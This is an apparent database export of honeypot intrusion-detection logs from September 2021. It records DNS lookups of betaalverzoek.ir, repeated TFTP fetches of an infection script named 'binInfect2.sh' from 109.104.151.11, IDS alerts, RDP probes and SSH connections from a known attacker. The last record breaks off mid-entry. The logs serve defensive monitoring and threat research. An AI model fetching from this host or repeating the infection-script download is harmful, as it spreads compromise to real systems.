20210	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:38.87217+03	2021-09-20 14:15:02.098643+03	{"_id": "UQXeAnwBvYTbRNuEXfaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42498, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 575, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 103650077853954, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 38991, "timestamp": "2021-09-20T11:01:38.872170Z", "@timestamp": "2021-09-20T11:01:38.872Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20211	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:38.872644+03	2021-09-20 14:15:02.099644+03	{"_id": "VQXeAnwBvYTbRNuEXfaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "dest_port": 69, "timestamp": "2021-09-20T11:01:38.872644Z", "@timestamp": "2021-09-20T11:01:38.872Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
20212	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:49.067498+03	2021-09-20 14:15:02.101614+03	{"_id": "YgXeAnwBvYTbRNuEhPaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 276, "bytes_toserver": 192}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1915411164713156, "payload": "RQAAMsP4QAAxEawywKgUdG1olwuFMABFAB6ZvwABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:49.067498Z", "@timestamp": "2021-09-20T11:01:49.067Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2..@.1..2...tmh...0.E......binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20213	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:48.888664+03	2021-09-20 14:15:02.102642+03	{"_id": "ZAXeAnwBvYTbRNuEhPaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "dest_port": 69, "timestamp": "2021-09-20T11:01:48.888664Z", "@timestamp": "2021-09-20T11:01:48.888Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
20214	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:48.886407+03	2021-09-20 14:15:02.10464+03	{"_id": "ZQXeAnwBvYTbRNuEhPaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23081, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2034012392294023, "@version": "1", "in_iface": "enp5s0", "src_port": 51818, "dest_port": 53, "timestamp": "2021-09-20T11:01:48.886407Z", "@timestamp": "2021-09-20T11:01:48.886Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20215	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:48.888232+03	2021-09-20 14:15:02.105642+03	{"_id": "YQXeAnwBvYTbRNuEhPaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23081, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 565, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2034012392294023, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51818, "timestamp": "2021-09-20T11:01:48.888232Z", "@timestamp": "2021-09-20T11:01:48.888Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20217	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:43.882782+03	2021-09-20 14:15:02.107642+03	{"_id": "XAXeAnwBvYTbRNuEcfYP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 92, "bytes_toserver": 128}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:43.882782Z", "@timestamp": "2021-09-20T11:01:43.882Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20218	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:48.888664+03	2021-09-20 14:15:02.108642+03	{"_id": "YwXeAnwBvYTbRNuEhPaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 184, "bytes_toserver": 192}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:48.888664Z", "@timestamp": "2021-09-20T11:01:48.888Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20219	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:43.882782+03	2021-09-20 14:15:02.109644+03	{"_id": "WwXeAnwBvYTbRNuEcfYP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "dest_port": 69, "timestamp": "2021-09-20T11:01:43.882782Z", "@timestamp": "2021-09-20T11:01:43.882Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
20220	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:58.909076+03	2021-09-20 14:15:02.11164+03	{"_id": "dgXeAnwBvYTbRNuEq_av", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "dest_port": 69, "timestamp": "2021-09-20T11:01:58.909076Z", "@timestamp": "2021-09-20T11:01:58.909Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
20221	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:58.909076+03	2021-09-20 14:15:02.112643+03	{"_id": "dwXeAnwBvYTbRNuEq_aw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 368, "bytes_toserver": 320}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:58.909076Z", "@timestamp": "2021-09-20T11:01:58.909Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20222	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:59.086886+03	2021-09-20 14:15:02.113643+03	{"_id": "eAXeAnwBvYTbRNuEq_aw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 5, "pkts_toserver": 5, "bytes_toclient": 460, "bytes_toserver": 320}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1915411164713156, "payload": "RQAAMsj8QAAxEacuwKgUdG1olwuFMABFAB6ZvwABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:59.086886Z", "@timestamp": "2021-09-20T11:01:59.086Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2..@.1......tmh...0.E......binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20224	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:02:05.000135+03	2021-09-20 14:15:02.116642+03	{"_id": "lwXeAnwBvYTbRNuEw_Yj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:03.842474+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1988711221811946, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 54952, "timestamp": "2021-09-20T11:02:05.000135Z", "@timestamp": "2021-09-20T11:02:05.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
20225	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:58.90863+03	2021-09-20 14:15:02.117612+03	{"_id": "dQXeAnwBvYTbRNuEq_av", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9002, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 555, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 94731579610929, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 51742, "timestamp": "2021-09-20T11:01:58.908630Z", "@timestamp": "2021-09-20T11:01:58.908Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20226	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:01:53.899051+03	2021-09-20 14:15:02.118616+03	{"_id": "aAXeAnwBvYTbRNuEmPYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32424, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 560, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1631468730298487, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 52661, "timestamp": "2021-09-20T11:01:53.899051Z", "@timestamp": "2021-09-20T11:01:53.899Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20227	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:53.899447+03	2021-09-20 14:15:02.120642+03	{"_id": "awXeAnwBvYTbRNuEmPYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect2.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "dest_port": 69, "timestamp": "2021-09-20T11:01:53.899447Z", "@timestamp": "2021-09-20T11:01:53.899Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
20228	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:01:54.084387+03	2021-09-20 14:15:02.121643+03	{"_id": "aQXeAnwBvYTbRNuEmPYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 368, "bytes_toserver": 256}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1915411164713156, "payload": "RQAAMsQcQAAxEawOwKgUdG1olwuFMABFAB6ZvwABYmluSW5mZWN0Mi5zaABvY3RldAA=", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:01:54.084387Z", "@timestamp": "2021-09-20T11:01:54.084Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..2..@.1......tmh...0.E......binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20230	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:53.899447+03	2021-09-20 14:15:02.123643+03	{"_id": "agXeAnwBvYTbRNuEmPYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:38.872644+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 276, "bytes_toserver": 256}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2017_01_12"]}, "severity": 1, "signature": "ET TFTP Outbound TFTP Read Request", "signature_id": 2008120}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "109.104.151.11", "flow_id": 1915411164713156, "payload": "AAFiaW5JbmZlY3QyLnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "src_port": 34096, "app_proto": "tftp", "dest_port": 69, "timestamp": "2021-09-20T11:01:53.899447Z", "@timestamp": "2021-09-20T11:01:53.899Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..binInfect2.sh.octet."}}	1	\N	\N	alert	\N	\N
20231	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:53.897143+03	2021-09-20 14:15:02.124644+03	{"_id": "bAXeAnwBvYTbRNuEmPYl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32424, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1631468730298487, "@version": "1", "in_iface": "enp5s0", "src_port": 52661, "dest_port": 53, "timestamp": "2021-09-20T11:01:53.897143Z", "@timestamp": "2021-09-20T11:01:53.897Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20232	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:14.155059+03	2021-09-20 14:15:02.125646+03	{"_id": "xwXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:35852 (192.168.176.2:22) [session: adb85be76cac]", "session": "adb85be76cac", "@version": "1", "protocol": "ssh", "src_port": 35852, "dest_port": 22, "timestamp": "2021-09-20T11:02:14.155059Z", "@timestamp": "2021-09-20T11:02:14.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20233	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:14.536233+03	2021-09-20 14:15:02.127642+03	{"_id": "yAXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:35878 (192.168.176.2:22) [session: 73c0b18a98a4]", "session": "73c0b18a98a4", "@version": "1", "protocol": "ssh", "src_port": 35878, "dest_port": 22, "timestamp": "2021-09-20T11:02:14.536233Z", "@timestamp": "2021-09-20T11:02:14.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20234	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:02:13.961464+03	2021-09-20 14:15:02.128643+03	{"_id": "zAXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 51927, "dest_port": 3389, "timestamp": "2021-09-20T11:02:13.961464", "@timestamp": "2021-09-20T11:02:13.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
20235	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:02:14.158791+03	2021-09-20 14:15:02.129615+03	{"_id": "zQXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", 